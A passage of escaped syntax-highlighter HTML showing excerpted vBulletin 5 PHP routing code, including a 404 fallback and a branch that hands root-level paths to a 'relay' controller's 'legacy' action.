class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;legacy&#8217;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-81\"><span class=\"crayon-c\">\/* 238 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">template<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-82\"><span class=\"crayon-c\">\/* 239 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">arguments<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-83\"><span class=\"crayon-c\">\/* 240 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">queryParameters<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-84\"><span class=\"crayon-c\">\/* 241 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-85\"><span class=\"crayon-c\">\/* 242 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-86\"><span class=\"crayon-c\">\/* 243 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-87\"><span class=\"crayon-c\">\/* 244 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">vB5_ApplicationAbstract<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">checkState<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-88\"><span class=\"crayon-c\">\/* 245 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-89\"><span class=\"crayon-c\">\/* 246 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vB5_Exception_404<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;invalid_page_url&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-90\"><span class=\"crayon-c\">\/* 247 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-91\"><span class=\"crayon-c\">\/* 86 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-92\"><span class=\"crayon-c\">\/* 87 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">header<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;HTTP\/1.0 404 Not Found&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-93\"><span class=\"crayon-c\">\/* 88 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-94\"><span class=\"crayon-c\">\/* 89 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-95\"><span class=\"crayon-c\">\/* 90 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-96\"><span class=\"crayon-c\">\/* 92 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-97\"><span class=\"crayon-c\">\/* 93 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-98\"><span class=\"crayon-c\">\/* 94 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ Start with no error.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-99\"><span class=\"crayon-c\">\/* 95 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">route<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Api_InterfaceAbstract<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">instance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">callApi<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;route&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;getRoute&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;pathInfo&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;queryString&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;QUERY_STRING&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-100\"><span class=\"crayon-c\">\/* 96 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-101\"><span class=\"crayon-c\">\/* 97 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">Exception<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-102\"><span class=\"crayon-c\">\/* 98 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-103\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-104\"><span class=\"crayon-c\">\/* 106 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-105\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-106\"><span class=\"crayon-c\">\/* 127 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">route<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-107\"><span class=\"crayon-c\">\/* 128 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-108\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-109\"><span class=\"crayon-c\">\/* 188 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-110\"><span class=\"crayon-c\">\/* 189 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-111\"><span class=\"crayon-c\">\/* 190 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-112\"><span class=\"crayon-c\">\/* 191 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ if no route was matched, try to parse route as \/controller\/method&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-113\"><span class=\"crayon-c\">\/* 192 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stripped_path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">preg_replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;\/[^a-z0-9\/-_.]+\/i&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">trim<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strval<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-114\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-115\"><span class=\"crayon-c\">\/* 229 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-116\"><span class=\"crayon-c\">\/* 230 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-117\"><span class=\"crayon-c\">\/* 231 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/this could be a legacy file that we need to proxy.&nbsp;&nbsp;The relay controller will handle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-118\"><span class=\"crayon-c\">\/* 232 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/cases where this is not a valid file.&nbsp;&nbsp;Only handle files in the &#8220;root directory&#8221;.&nbsp;&nbsp;We&#8217;ll&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-119\"><span class=\"crayon-c\">\/* 233 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/handle deeper paths via more standard routes.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-120\"><span class=\"crayon-c\">\/* 234 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strpos<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-121\"><span class=\"crayon-c\">\/* 235 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-122\"><span class=\"crayon-c\">\/* 236 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;relay&#8217;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-123\"><span class=\"crayon-c\">\/* 237 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;legacy&#8217;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-124\"><span class=\"crayon-c\">\/* 238 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">template<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-125\"><span class=\"crayon-c\">\/* 239 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">arguments<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-126\"><span class=\"crayon-c\">\/* 240 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">queryParameters<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-127\"><span class=\"crayon-c\">\/* 241 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-128\"><span class=\"crayon-c\">\/* 242 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 